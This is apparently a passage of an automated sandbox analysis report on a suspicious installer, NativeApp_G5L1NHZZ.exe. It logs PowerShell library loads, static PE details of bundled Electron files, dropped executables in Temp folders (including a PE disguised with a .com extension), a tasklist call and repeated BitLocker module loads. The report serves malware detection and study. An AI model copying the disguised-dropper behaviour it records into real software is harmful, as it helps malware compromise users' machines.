    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
    Source: NativeApp_G5L1NHZZ.exeStatic file information: File size 64889808 > 1048576
    Source: NativeApp_G5L1NHZZ.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
    Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
    Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr
    Source: CnnCylinder.exe.3.drStatic PE information: real checksum: 0x11f9c3 should be: 0x12fc9f
    Source: vulkan-1.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0xeae56
    Source: libEGL.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x78f27
    Source: libGLESv2.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x750114
    Source: System.dll.0.drStatic PE information: real checksum: 0x0 should be: 0xe5c7
    Source: vk_swiftshader.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x522548
    Source: vk_swiftshader.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x522548
    Source: libGLESv2.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x750114
    Source: elevate.exe.0.drStatic PE information: real checksum: 0x0 should be: 0x225bc
    Source: nsis7z.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x7611e
    Source: vulkan-1.dll.0.drStatic PE information: real checksum: 0x0 should be: 0xeae56
    Source: libEGL.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x78f27
    Source: ffmpeg.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x2c6d21
    Source: ffmpeg.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x2c6d21
    Source: ffmpeg.dll.0.drStatic PE information: section name: .00cfg
    Source: ffmpeg.dll.0.drStatic PE information: section name: .gxfg
    Source: ffmpeg.dll.0.drStatic PE information: section name: .retplne
    Source: ffmpeg.dll.0.drStatic PE information: section name: _RDATA
    Source: libEGL.dll.0.drStatic PE information: section name: .00cfg
    Source: libEGL.dll.0.drStatic PE information: section name: .gxfg
    Source: libEGL.dll.0.drStatic PE information: section name: .retplne
    Source: libEGL.dll.0.drStatic PE information: section name: _RDATA
    Source: libGLESv2.dll.0.drStatic PE information: section name: .00cfg
    Source: libGLESv2.dll.0.drStatic PE information: section name: .gxfg
    Source: libGLESv2.dll.0.drStatic PE information: section name: .retplne
    Source: libGLESv2.dll.0.drStatic PE information: section name: _RDATA
    Source: ProtonEditor.exe.0.drStatic PE information: section name: .00cfg
    Source: ProtonEditor.exe.0.drStatic PE information: section name: .gxfg
    Source: ProtonEditor.exe.0.drStatic PE information: section name: .retplne
    Source: ProtonEditor.exe.0.drStatic PE information: section name: .rodata
    Source: ProtonEditor.exe.0.drStatic PE information: section name: CPADinfo
    Source: ProtonEditor.exe.0.drStatic PE information: section name: LZMADEC
    Source: ProtonEditor.exe.0.drStatic PE information: section name: _RDATA
    Source: ProtonEditor.exe.0.drStatic PE information: section name: malloc_h
    Source: vk_swiftshader.dll.0.drStatic PE information: section name: .00cfg
    Source: vk_swiftshader.dll.0.drStatic PE information: section name: .gxfg
    Source: vk_swiftshader.dll.0.drStatic PE information: section name: .retplne
    Source: vk_swiftshader.dll.0.drStatic PE information: section name: _RDATA
    Source: vulkan-1.dll.0.drStatic PE information: section name: .00cfg
    Source: vulkan-1.dll.0.drStatic PE information: section name: .gxfg
    Source: vulkan-1.dll.0.drStatic PE information: section name: .retplne
    Source: vulkan-1.dll.0.drStatic PE information: section name: _RDATA
    Source: ffmpeg.dll0.0.drStatic PE information: section name: .00cfg
    Source: ffmpeg.dll0.0.drStatic PE information: section name: .gxfg
    Source: ffmpeg.dll0.0.drStatic PE information: section name: .retplne
    Source: ffmpeg.dll0.0.drStatic PE information: section name: _RDATA
    Source: libEGL.dll0.0.drStatic PE information: section name: .00cfg
    Source: libEGL.dll0.0.drStatic PE information: section name: .gxfg
    Source: libEGL.dll0.0.drStatic PE information: section name: .retplne
    Source: libEGL.dll0.0.drStatic PE information: section name: _RDATA
    Source: libGLESv2.dll0.0.drStatic PE information: section name: .00cfg
    Source: libGLESv2.dll0.0.drStatic PE information: section name: .gxfg
    Source: libGLESv2.dll0.0.drStatic PE information: section name: .retplne
    Source: libGLESv2.dll0.0.drStatic PE information: section name: _RDATA
    Source: ProtonEditor.exe0.0.drStatic PE information: section name: .00cfg
    Source: ProtonEditor.exe0.0.drStatic PE information: section name: .gxfg
    Source: ProtonEditor.exe0.0.drStatic PE information: section name: .retplne
    Source: ProtonEditor.exe0.0.drStatic PE information: section name: .rodata
    Source: ProtonEditor.exe0.0.drStatic PE information: section name: CPADinfo
    Source: ProtonEditor.exe0.0.drStatic PE information: section name: LZMADEC
    Source: ProtonEditor.exe0.0.drStatic PE information: section name: _RDATA
    Source: ProtonEditor.exe0.0.drStatic PE information: section name: malloc_h
    Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .00cfg
    Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .gxfg
    Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .retplne
    Source: vk_swiftshader.dll0.0.drStatic PE information: section name: _RDATA
    Source: vulkan-1.dll0.0.drStatic PE information: section name: .00cfg
    Source: vulkan-1.dll0.0.drStatic PE information: section name: .gxfg
    Source: vulkan-1.dll0.0.drStatic PE information: section name: .retplne
    Source: vulkan-1.dll0.0.drStatic PE information: section name: _RDATA

    Persistence and Installation Behavior

    barindex
    Drops PE files with a suspicious file extension
    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\69564\Style.comJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\resources\elevate.exeJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vk_swiftshader.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vk_swiftshader.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ffmpeg.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\libEGL.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\ffmpeg.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\libEGL.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\libGLESv2.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\System.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\ProtonEditor.exeJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vulkan-1.dllJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile created: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exeJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\libGLESv2.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vulkan-1.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\nsis7z.dllJump to dropped file
    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\69564\Style.comJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\d3dcompiler_47.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\LICENSE.electron.txtJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\LICENSE.electron.txtJump to behavior

    Hooking and other Techniques for Hiding and Protection

    barindex
    Loading BitLocker PowerShell Module
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
